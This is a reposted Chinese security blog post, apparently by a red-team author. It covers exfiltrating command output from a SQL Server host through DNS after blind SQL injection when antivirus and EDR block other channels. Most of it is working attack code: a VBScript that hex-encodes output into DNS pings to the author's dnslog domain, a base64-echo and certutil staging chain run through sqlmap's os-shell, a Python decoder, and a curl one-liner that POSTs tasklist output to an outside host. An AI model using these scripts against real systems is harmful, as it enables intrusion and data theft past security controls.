实战sql盲注小技巧

admin 2026-06-12 04:36:24 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档介绍在SQLServer盲注场景中,当目标存在杀软、EDR防护且仅DNS出网时,通过VBS脚本将命令执行结果转为十六进制格式,分段嵌入DNS请求外带数据。提供完整操作流程:使用sqlmap的–os-shell功能写入并执行脚本,配合Python工具解密DNS日志重组回显。关键发现包括利用DNS协议绕过网络限制,可操作建议涉及修改DNSlog平台地址与Cookie配置以实现自动化解密。 综合评分: 78 文章分类: WEB安全,渗透测试,红队,安全工具,内网渗透


cover_image

实战sql盲注小技巧

原创

xianke xianke

XK Team

2026年6月11日 21:10 山东

在小说阅读器读本章

去阅读

实战中碰到个注入,跑出来是盲注,数据库是sqlserver,大致情况就是能开xpcmdshell,执行命令回显慢的一比,目标机器一堆杀软加edr,只有dns出网。属于是buff拉满了,这种情况下还能艰难的通过dnslog外带一些请求来看回显,但是dnslog有长度限制,期间尝试了各种for循环执行命令以及巴拉巴拉各种骚操作都不行,最后找到了个小脚本终于可以方便执行命令和完整的输出命令回显

注:sg1y8oiv.eyes.sh 要修改成自己的dnslog地址这里我用的是 https://eyes.sh/

Function ReadFile(filePath)
    Dim fso, file, fileContent
    Set fso = CreateObject("Scripting.FileSystemObject")
    On Error Resume Next
    Set file = fso.OpenTextFile(filePath, 1)
&nbsp; &nbsp; If Err.Number <> 0 Then
&nbsp; &nbsp; &nbsp; &nbsp; ReadFile = ""
&nbsp; &nbsp; &nbsp; &nbsp; Exit Function
&nbsp; &nbsp; End If
&nbsp; &nbsp; fileContent = file.ReadAll()
&nbsp; &nbsp; file.Close()
&nbsp; &nbsp; ReadFile = fileContent
End Function

Function ToHex(inputStr)
&nbsp; &nbsp; Dim i, hexStr
&nbsp; &nbsp; hexStr = ""
&nbsp; &nbsp; For i = 1 To Len(inputStr)
&nbsp; &nbsp; &nbsp; &nbsp; hexStr = hexStr & Right("00" & Hex(Asc(Mid(inputStr, i, 1))), 2)
&nbsp; &nbsp; Next
&nbsp; &nbsp; ToHex = hexStr
End Function

Function GenerateRandomNumber()
&nbsp; &nbsp; Randomize
&nbsp; &nbsp; GenerateRandomNumber = Int((99999 - 10000 + 1) * Rnd + 10000)
End Function

Sub PingDnslog(hexStr, randomNum)
&nbsp; &nbsp; Dim i, segment, part1, part2, part3, counter, paddedSegment
&nbsp; &nbsp; i = 1
&nbsp; &nbsp; counter = 0
&nbsp; &nbsp; Do While i <= Len(hexStr)
&nbsp; &nbsp; &nbsp; &nbsp; segment = Mid(hexStr, i, 180)

&nbsp; &nbsp; &nbsp; &nbsp; ' Pad the segment with zeros if it's less than 180 characters
&nbsp; &nbsp; &nbsp; &nbsp; If Len(segment) < 180 Then
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; paddedSegment = segment & String(180 - Len(segment), "0")
&nbsp; &nbsp; &nbsp; &nbsp; Else
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; paddedSegment = segment
&nbsp; &nbsp; &nbsp; &nbsp; End If

&nbsp; &nbsp; &nbsp; &nbsp; part1 = Mid(paddedSegment, 1, 60)
&nbsp; &nbsp; &nbsp; &nbsp; part2 = Mid(paddedSegment, 61, 60)
&nbsp; &nbsp; &nbsp; &nbsp; part3 = Mid(paddedSegment, 121, 60)

&nbsp; &nbsp; &nbsp; &nbsp; ' Increment counter for each ping
&nbsp; &nbsp; &nbsp; &nbsp; counter = counter + 1

&nbsp; &nbsp; &nbsp; &nbsp; ' Construct the DNS request
&nbsp; &nbsp; &nbsp; &nbsp; dnsRequest = randomNum & "." & counter & "." & part1 & "." & part2 & "." & part3 & ".sg1y8oiv.eyes.sh"

&nbsp; &nbsp; &nbsp; &nbsp; ' Ping the constructed DNS request
&nbsp; &nbsp; &nbsp; &nbsp; CreateObject("WScript.Shell").Run "ping -n 1 " & dnsRequest, 0, True

&nbsp; &nbsp; &nbsp; &nbsp; i = i + 180
&nbsp; &nbsp; Loop
End Sub

' Main script logic
Dim filePath, fileContent, hexResult, randomNum

filePath = "C:\Users\Public\file.txt"
fileContent = ReadFile(filePath)

If fileContent = "" Then
&nbsp; &nbsp; WScript.Echo "Failed to read file or file is empty."
&nbsp; &nbsp; WScript.Quit 1
End If

hexResult = ToHex(fileContent)
randomNum = GenerateRandomNumber()

PingDnslog hexResult, randomNum

改好dnslog地址后,转成base64

sqlmap开了–os-shell以后执行下面的命令

第一步 写入文件

echo RnVuY3Rpb24gUmVhZEZpbGUoZmlsZVBhdGgpCiAgICBEaW0gZnNvLCBmaWxlLCBmaWxlQ29udGVudAogICAgU2V0IGZzbyA9IENyZWF0ZU9iamVjdCgiU2NyaXB0aW5nLkZpbGVTeXN0ZW1PYmplY3QiKQogICAgT24gRXJyb3IgUmVzdW1lIE5leHQKICAgIFNldCBmaWxlID0gZnNvLk9wZW5UZXh0RmlsZShmaWxlUGF0aCwgMSkKICAgIElmIEVyci5OdW1iZXIgPD4gMCBUaGVuCiAgICAgICAgUmVhZEZpbGUgPSAiIgogICAgICAgIEV4aXQgRnVuY3Rpb24KICAgIEVuZCBJZgogICAgZmlsZUNvbnRlbnQgPSBmaWxlLlJlYWRBbGwoKQogICAgZmlsZS5DbG9zZSgpCiAgICBSZWFkRmlsZSA9IGZpbGVDb250ZW50CkVuZCBGdW5jdGlvbgoKRnVuY3Rpb24gVG9IZXgoaW5wdXRTdHIpCiAgICBEaW0gaSwgaGV4U3RyCiAgICBoZXhTdHIgPSAiIgogICAgRm9yIGkgPSAxIFRvIExlbihpbnB1dFN0cikKICAgICAgICBoZXhTdHIgPSBoZXhTdHIgJiBSaWdodCgiMDAiICYgSGV4KEFzYyhNaWQoaW5wdXRTdHIsIGksIDEpKSksIDIpCiAgICBOZXh0CiAgICBUb0hleCA9IGhleFN0cgpFbmQgRnVuY3Rpb24KCkZ1bmN0aW9uIEdlbmVyYXRlUmFuZG9tTnVtYmVyKCkKICAgIFJhbmRvbWl6ZQogICAgR2VuZXJhdGVSYW5kb21OdW1iZXIgPSBJbnQoKDk5OTk5IC0gMTAwMDAgKyAxKSAqIFJuZCArIDEwMDAwKQpFbmQgRnVuY3Rpb24KClN1YiBQaW5nRG5zbG9nKGhleFN0ciwgcmFuZG9tTnVtKQogICAgRGltIGksIHNlZ21lbnQsIHBhcnQxLCBwYXJ0MiwgcGFydDMsIGNvdW50ZXIsIHBhZGRlZFNlZ21lbnQKICAgIGkgPSAxCiAgICBjb3VudGVyID0gMAogICAgRG8gV2hpbGUgaSA8PSBMZW4oaGV4U3RyKQogICAgICAgIHNlZ21lbnQgPSBNaWQoaGV4U3RyLCBpLCAxODApCgogICAgICAgICcgUGFkIHRoZSBzZWdtZW50IHdpdGggemVyb3MgaWYgaXQncyBsZXNzIHRoYW4gMTgwIGNoYXJhY3RlcnMKICAgICAgICBJZiBMZW4oc2VnbWVudCkgPCAxODAgVGhlbgogICAgICAgICAgICBwYWRkZWRTZWdtZW50ID0gc2VnbWVudCAmIFN0cmluZygxODAgLSBMZW4oc2VnbWVudCksICIwIikKICAgICAgICBFbHNlCiAgICAgICAgICAgIHBhZGRlZFNlZ21lbnQgPSBzZWdtZW50CiAgICAgICAgRW5kIElmCgogICAgICAgIHBhcnQxID0gTWlkKHBhZGRlZFNlZ21lbnQsIDEsIDYwKQogICAgICAgIHBhcnQyID0gTWlkKHBhZGRlZFNlZ21lbnQsIDYxLCA2MCkKICAgICAgICBwYXJ0MyA9IE1pZChwYWRkZWRTZWdtZW50LCAxMjEsIDYwKQoKICAgICAgICAnIEluY3JlbWVudCBjb3VudGVyIGZvciBlYWNoIHBpbmcKICAgICAgICBjb3VudGVyID0gY291bnRlciArIDEKCiAgICAgICAgJyBDb25zdHJ1Y3QgdGhlIEROUyByZXF1ZXN0CiAgICAgICAgZG5zUmVxdWVzdCA9IHJhbmRvbU51bSAmICIuIiAmIGNvdW50ZXIgJiAiLiIgJiBwYXJ0MSAmICIuIiAmIHBhcnQyICYgIi4iICYgcGFydDMgJiAiLnNnMXk4b2l2LmV5ZXMuc2giCgogICAgICAgICcgUGluZyB0aGUgY29uc3RydWN0ZWQgRE5TIHJlcXVlc3QKICAgICAgICBDcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKS5SdW4gInBpbmcgLW4gMSAiICYgZG5zUmVxdWVzdCwgMCwgVHJ1ZQoKICAgICAgICBpID0gaSArIDE4MAogICAgTG9vcApFbmQgU3ViCgonIE1haW4gc2NyaXB0IGxvZ2ljCkRpbSBmaWxlUGF0aCwgZmlsZUNvbnRlbnQsIGhleFJlc3VsdCwgcmFuZG9tTnVtCgpmaWxlUGF0aCA9ICJDOlxVc2Vyc1xQdWJsaWNcZmlsZS50eHQiCmZpbGVDb250ZW50ID0gUmVhZEZpbGUoZmlsZVBhdGgpCgpJZiBmaWxlQ29udGVudCA9ICIiIFRoZW4KICAgIFdTY3JpcHQuRWNobyAiRmFpbGVkIHRvIHJlYWQgZmlsZSBvciBmaWxlIGlzIGVtcHR5LiIKICAgIFdTY3JpcHQuUXVpdCAxCkVuZCBJZgoKaGV4UmVzdWx0ID0gVG9IZXgoZmlsZUNvbnRlbnQpCnJhbmRvbU51bSA9IEdlbmVyYXRlUmFuZG9tTnVtYmVyKCkKClBpbmdEbnNsb2cgaGV4UmVzdWx0LCByYW5kb21OdW0= > C:\Users\Public\test.txt

第二步 转成vbs格式

certutil -decode C:\Users\Public\test.txt C:\Users\Public\test.vbs

第三步 将想执行的命令写入到 C:\Users\Public\file.txt

dir E:\ > C:\Users\Public\file.txt

第四步 运行vbs脚本

cscript //nologo C:\Users\Public\test.vbs

这个时候你的dnslog平台已经开始接收到回显了,大概是下面这样的

image-20260611161017337

可以复制给ai给你解释下啥意思

image-20260611162543477

那么这个时候其实你的dnslog一直在接受这种回显,你可以都复制给ai给你批量解密在拼接就是你命令的回显

我嫌麻烦就写了个脚本,最后效果大概就是这样的

2c2898cf1fcdd2ae63c62d66a1c40441

a54ddab2bde3d40143f192726e7fb9c5

最后脚本需要大家配置一下自己dnslog平台的cookie跟地址

image-20260611163549141

python解密脚本

import argparse
import binascii
import re
import sys
from concurrent.futures import ThreadPoolExecutor, as_completed
import requests
import urllib3

# 强制禁用底层 https 未验证证书引发的控制台告警
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# 1. 定义命令行参数解析
parser = argparse.ArgumentParser(description="DNSLog 高并发爬取、重组与解码一体化工具")
parser.add_argument(
&nbsp; &nbsp; "--page",
&nbsp; &nbsp; type=int,
&nbsp; &nbsp; default=1,
&nbsp; &nbsp; help="指定需要从第几页开始向前遍历提取(例如: 100)",
)
parser.add_argument(
&nbsp; &nbsp; "--threads",
&nbsp; &nbsp; type=int,
&nbsp; &nbsp; default=15,
&nbsp; &nbsp; help="指定并发线程数,默认 15 线程",
)
args = parser.parse_args()

# 2. 配置请求头与原始 Cookie
TARGET_URL = "https://eyes.sh/dns/"

HEADERS = {
&nbsp; &nbsp; "Host": "eyes.sh",
&nbsp; &nbsp; "Sec-Ch-Ua": '"Chromium";v="148", "Google Chrome";v="148", "Not/A)Brand";v="99"',
&nbsp; &nbsp; "Sec-Ch-Ua-Mobile": "?0",
&nbsp; &nbsp; "Sec-Ch-Ua-Platform": '"macOS"',
&nbsp; &nbsp; "Upgrade-Insecure-Requests": "1",
&nbsp; &nbsp; "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36",
&nbsp; &nbsp; "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
&nbsp; &nbsp; "Sec-Fetch-Site": "same-origin",
&nbsp; &nbsp; "Sec-Fetch-Mode": "navigate",
&nbsp; &nbsp; "Sec-Fetch-User": "?1",
&nbsp; &nbsp; "Sec-Fetch-Dest": "document",
&nbsp; &nbsp; "Referer": "https://eyes.sh/dns/",
&nbsp; &nbsp; "Accept-Encoding": "gzip, deflate, br",
&nbsp; &nbsp; "Accept-Language": "zh-CN,zh-TW;q=0.9,zh;q=0.8",
&nbsp; &nbsp; "Connection": "keep-alive",
}

RAW_COOKIE_STRING = (
&nbsp; &nbsp; "csrftoken= "
&nbsp; &nbsp; "sessionid= "
&nbsp; &nbsp; "sensorsdata2015jssdkcross="
)
HEADERS["Cookie"] = RAW_COOKIE_STRING

# 3. 精准匹配 <td> 标签中个人特征域名的正则表达式
DATA_REGEX = re.compile(
&nbsp; &nbsp; r'<td style="word-break:break-all">\s*([\w\d\.-]+\.sg1y8oiv\.eyes\.sh)\s*</td>'
)

# 4. 定义单页下载工作函数(供线程池调用)
def fetch_page(page_num):
&nbsp; &nbsp; params = {"page": page_num}
&nbsp; &nbsp; try:
&nbsp; &nbsp; &nbsp; &nbsp; response = requests.get(
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; TARGET_URL,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; headers=HEADERS,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; params=params,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; timeout=10,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; verify=False,
&nbsp; &nbsp; &nbsp; &nbsp; )
&nbsp; &nbsp; &nbsp; &nbsp; if response.status_code == 200:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; matches = DATA_REGEX.findall(response.text)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # 同样保持页面内部记录的时间正序
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return page_num, matches[::-1]
&nbsp; &nbsp; &nbsp; &nbsp; else:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return page_num, None
&nbsp; &nbsp; except Exception:
&nbsp; &nbsp; &nbsp; &nbsp; return page_num, None

print(f"[*] 第一阶段:启动线程池(并发线程数: {args.threads}),正在全力爬取 1 到 {args.page} 页...")

# 5. 使用线程池并发抓取
page_data_map = {} &nbsp;# 用字典暂存:{ 页码: [该页匹配到的记录] }

with ThreadPoolExecutor(max_workers=args.threads) as executor:
&nbsp; &nbsp; # 提交所有页面的下载任务
&nbsp; &nbsp; futures = {executor.submit(fetch_page, p): p for p in range(1, args.page + 1)}

&nbsp; &nbsp; # 动态获取线程执行结果
&nbsp; &nbsp; for future in as_completed(futures):
&nbsp; &nbsp; &nbsp; &nbsp; page_num, matches = future.result()
&nbsp; &nbsp; &nbsp; &nbsp; if matches:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print(f"[v] 页码 {page_num} 下载完成,成功抓取到 {len(matches)} 条记录。")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; page_data_map[page_num] = matches
&nbsp; &nbsp; &nbsp; &nbsp; else:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # 提示:即使某页没数据也正常输出,方便肉眼观察进度
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pass

# 6. 第二阶段:在内存中按“页码从小到大”进行时序重组
print("\n" + "=" * 60)
print("[*] 第二阶段:正在将多线程乱序数据进行时间线物理校准...")
print("=" * 60)

raw_records = []
# 严格按照页码 100, 99, ... 2, 1 的顺序拼装原始列表,确保时间线不混乱
for p in range(args.page, 0, -1):
&nbsp; &nbsp; if p in page_data_map:
&nbsp; &nbsp; &nbsp; &nbsp; raw_records.extend(page_data_map[p])

if not raw_records:
&nbsp; &nbsp; print("[-] 未提取到任何有效 DNS 记录,脚本终止。")
&nbsp; &nbsp; sys.exit(0)

# 7. 第三阶段:构建任务池分类重组
task_pool = {}

for record in raw_records:
&nbsp; &nbsp; record = record.strip().lower()
&nbsp; &nbsp; parts = record.split(".")
&nbsp; &nbsp; if len(parts) < 6:
&nbsp; &nbsp; &nbsp; &nbsp; continue

&nbsp; &nbsp; try:
&nbsp; &nbsp; &nbsp; &nbsp; task_id = parts[0]
&nbsp; &nbsp; &nbsp; &nbsp; counter = int(parts[1])
&nbsp; &nbsp; &nbsp; &nbsp; hex_payload = parts[2] + parts[3] + parts[4]

&nbsp; &nbsp; &nbsp; &nbsp; if task_id not in task_pool:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; task_pool[task_id] = {}

&nbsp; &nbsp; &nbsp; &nbsp; task_pool[task_id][counter] = hex_payload
&nbsp; &nbsp; except Exception:
&nbsp; &nbsp; &nbsp; &nbsp; continue

# 8. 第四阶段:按任务升序解码输出
print("\n" + "=" * 60)
print("[*] 第三阶段:开始进行任务流 Hex 反序列化解码...")
print("=" * 60)

for task_id, blocks in task_pool.items():
&nbsp; &nbsp; print(f"\n[] 成功锁定任务流 ID: [{task_id}],共包含 {len(blocks)} 个数据块。")

&nbsp; &nbsp; sorted_counters = sorted(blocks.keys())
&nbsp; &nbsp; full_hex_stream = ""
&nbsp; &nbsp; for c in sorted_counters:
&nbsp; &nbsp; &nbsp; &nbsp; full_hex_stream += blocks[c]

&nbsp; &nbsp; cleaned_hex_stream = full_hex_stream.rstrip("0")
&nbsp; &nbsp; if len(cleaned_hex_stream) % 2 != 0:
&nbsp; &nbsp; &nbsp; &nbsp; cleaned_hex_stream += "0"

&nbsp; &nbsp; try:
&nbsp; &nbsp; &nbsp; &nbsp; raw_bytes = binascii.unhexlify(cleaned_hex_stream)
&nbsp; &nbsp; &nbsp; &nbsp; try:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; decoded_output = raw_bytes.decode("gbk")
&nbsp; &nbsp; &nbsp; &nbsp; except UnicodeDecodeError:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; decoded_output = raw_bytes.decode("utf-8", errors="ignore")

&nbsp; &nbsp; &nbsp; &nbsp; print(f"▼▼▼ [{task_id}] 原始外带文本完美还原内容如下 ▼▼▼")
&nbsp; &nbsp; &nbsp; &nbsp; print(decoded_output)
&nbsp; &nbsp; &nbsp; &nbsp; print(f"▲▲▲ {'='*40} ▲▲▲")

&nbsp; &nbsp; except Exception as decode_error:
&nbsp; &nbsp; &nbsp; &nbsp; print(f"[-] 任务 [{task_id}] 在十六进制解码时发生崩溃: {decode_error}")

print("\n[*] 高并发一体化流执行完毕。")

下面就可以愉快的

执行命令(记得sqlmap回显选择n)——>dnslog接受——>利用脚本遍历指定页数进行解密

最后,其实搞完这些我觉得挺麻烦,但是最起码能用,大家有没有更好的解决办法可以探讨下

附一些我尝试过程中的一些命令

#http外带
tasklist /svc | base64 -w 0 | curl -X POST -d @- http://sg1y8oiv.eyes.sh/recv
#利用条件判断法
if exist D:\wwwroot (nslookup exist.a95571829a.ddns.1433.eu.org) else (nslookup notexist.a95571829a.ddns.1433.eu.org)

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:XK Team xianke xianke《实战sql盲注小技巧》

实战sql盲注小技巧 网络安全文章

实战sql盲注小技巧

文章总结: 文档介绍在SQLServer盲注场景中,当目标存在杀软、EDR防护且仅DNS出网时,通过VBS脚本将命令执行结果转为十六进制格式,分段嵌入DNS请求
评论:0   参与:  0